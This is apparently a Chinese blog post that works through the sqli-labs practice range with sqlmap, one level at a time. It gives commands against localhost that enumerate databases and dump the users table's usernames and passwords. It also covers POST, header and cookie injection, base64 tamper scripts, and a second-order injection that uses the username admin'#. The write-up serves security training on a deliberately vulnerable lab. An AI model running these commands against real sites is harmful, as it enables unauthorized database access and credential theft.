sqli-labs 靶场使用 SQLMap 注入

注意点:

  • sqlmap 需要 python 的环境,并配置环境变量

  • 在实际检测过程中,sqlmap 会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数--batch命令来自动答复和判断

  • 用 sqlmap 工具注入完毕后,C 盘 AppData 文件夹下会有缓存文件夹,不删掉的话会影响 SQL 注入结果C:\Users\20846\AppData\Local\sqlmap\output,也可用sqlmap.py --purge来清空缓存

Less-1

python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --batch --banner
#   --batch      从不询问用户输入,使用所有默认配置,换言之对所有的交互式的都是默认的
# -b, --banner    获取数据库管理系统的标识
# 查看数据库
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --dbs
无法显示图片时显示的文字
爆出数据库名
# sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security --tables
无法显示图片时显示的文字
查询 security 数据库中的所有表
# sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)
python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security -T users --columns
无法显示图片时显示的文字
查看 security 数据库下的 users 表里都有哪些字段
# sqlmap -u -D security -T users -C id,password,username --dump
# 爆出数据库 security 中的 users 表中的 id,password,username 列中的所有数据

python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D security -T users -C id,password,username --dump

# --dump 将结果保存下来
无法显示图片时显示的文字
查看列字段的具体值
因此,只要能找到注入点和数据库,就算上成功了

Less-2

以下操作都是基于 Less-1 的步骤,如法炮制而来

sqlmap -u http://localhost/sqli-labs/Less-2/?id=1 --batch --dbs
无法显示图片时显示的文字
找到数据库

Less-3

sqlmap -u http://localhost/sqli-labs/Less-3/?id=1 --batch --dbs

Less-4

sqlmap -u http://localhost/sqli-labs/Less-4/?id=1 --batch --dbs

Less-5

sqlmap -u http://localhost/sqli-labs/Less-5/?id=1 --batch --dbs

Less-6

sqlmap -u http://localhost/sqli-labs/Less-6/?id=1 --batch --dbs

Less-7

sqlmap -u http://localhost/sqli-labs/Less-7/?id=1 --batch --dbs

Less-8

sqlmap -u http://localhost/sqli-labs/Less-8/?id=1 --batch --dbs

Less-9

sqlmap -u http://localhost/sqli-labs/Less-9/?id=1 --batch --dbs

Less-10

sqlmap -u http://localhost/sqli-labs/Less-10/?id=1 -level=2 --batch --dbs
# 当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入

Less-11

sqlmap -u http://localhost/sqli-labs/Less-11/index.php --batch --data "uname=admin&passwd=admin&submit=Submit" --dbs
    
# 从该关开始,注入的位置不再是 URL,且请求变为了 POST,因此命令要随之而变。对于是 post 提交数据的 URL,需要指定其 data 参数,--data 能够抓取其 post 提交的数据填入

# 还有一种方法是:因为 Less-11 该关需要进行登录,可以先用账号 admin 密码 admin 登录,然后用 burp 抓包,将 burp 抓取的包保存为 target.txt,利用 sqlmap -r target.txt 命令,来探测 target.txt 文件中的 http 数据包是否存在 sql 注入漏洞

sqlmap -r target.txt

Less-12

sqlmap -u http://localhost/sqli-labs/Less-12/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

![Snipaste_2023-01-03_10-20-34](sqli-labs 靶场使用 Sqlmap.assets/Snipaste_2023-01-03_10-20-34.png)

Less-13

sqlmap -u http://localhost/sqli-labs/Less-13/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

Less-14

sqlmap -u http://localhost/sqli-labs/Less-14/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

Less-15

sqlmap -u http://localhost/sqli-labs/Less-15/index.php --data "uname=admin&passwd=admin&submit=Submit" --dbs --batch

以下略去

Less-16

sqlmap -u http://localhost/sqli-labs/Less-16/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs --level=2

Less-17

sqlmap -u http://localhost/sqli-labs/Less-17/index.php --data "uname=admin&passwd=admin&submit=Submit" --batch --dbs

Less-18

# 注入的位置在 User-Agent 中
sqlmap -u http://localhost/sqli-labs/Less-18/ --data="uname=admin&passwd=admin&submit=Submit" --batch --user-agent="*" --thread=10 --dbs
    
# --thread=10,设置多线程,并行处理请求加快效率
# --user-agent="*" 是用来指定 User-Agent

Less-19

# 注入的位置在 Referer 中
sqlmap -u "http://localhost/sqli-labs/Less-19/" --data="uname=admin&passwd=admin&submit=Submit" --batch --referer="*" --thread=10 --dbs

# --referer,伪造 referer 字段

Less-20

# 注入的位置在 cookie 中
sqlmap -u http://localhost/sqli-labs/Less-20/index.php --cookie="uname=admin" --dbs --batch --level=5 --risk=3
    
# 同样,可以用 burp 抓包保存 ,殊途同归,第一次失败了,于是提高了线程,这将导致查询速度降低
sqlmap -r target-20.txt --leve=5 --risk=3 --dbs

Less-21

# 注入的位置依旧在 cookie 中,但经过了 base64 加密的,用 sqlmap 来进行联合查询注入
sqlmap -u http://localhost/sqli-labs/Less-21/index.php --cookie="uname=*" --dbs --tamper "base64encode.py" --batch
sqlmap -u http://localhost/sqli-labs/Less-21/index.php --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U --dbs --batch -v 3
# --random-agent --> 使用任意的User-Agent爆破
# --flush-session --> sqlmap 扫描的时候会将缓存的数据记录到 output 文件下,下次扫描时会直接调用本地缓存的扫描结果。如果我们想删除缓存结果,重新对某网站进行扫描就需要添加 --flush-session 选项。
# --dbms=MySQ --> 指定其数据库为mysql
# --tamper base64encode --> 对提交的数据进行base64编码
# --technique=U --> 指定注入点类型,u 是指的 union 联合查询注入。其他还有 U/B/T/S
# -v --> 3 能看到 payload

Less-22

sqlmap -u http://localhost/sqli-labs/Less-22/index.php --cookie="uname=*" --dbs --tamper "base64encode.py" --batch

Less-23

sqlmap -u http://localhost/sqli-labs/Less-23/?id=1 --dbs --batch

Less-24

# 这关是二次注入,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
# 需要先注册账号 admin'#,然后修改密码,后面的 # 号注释掉了
# Sql 语句变为
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

Less-25

sqlmap -u http://localhost/sqli-labs/Less-25/?id=1 --dbs --batch

posted @ 2023-01-11 14:35  跛一一  阅读(1509)  评论(0编辑  收藏  举报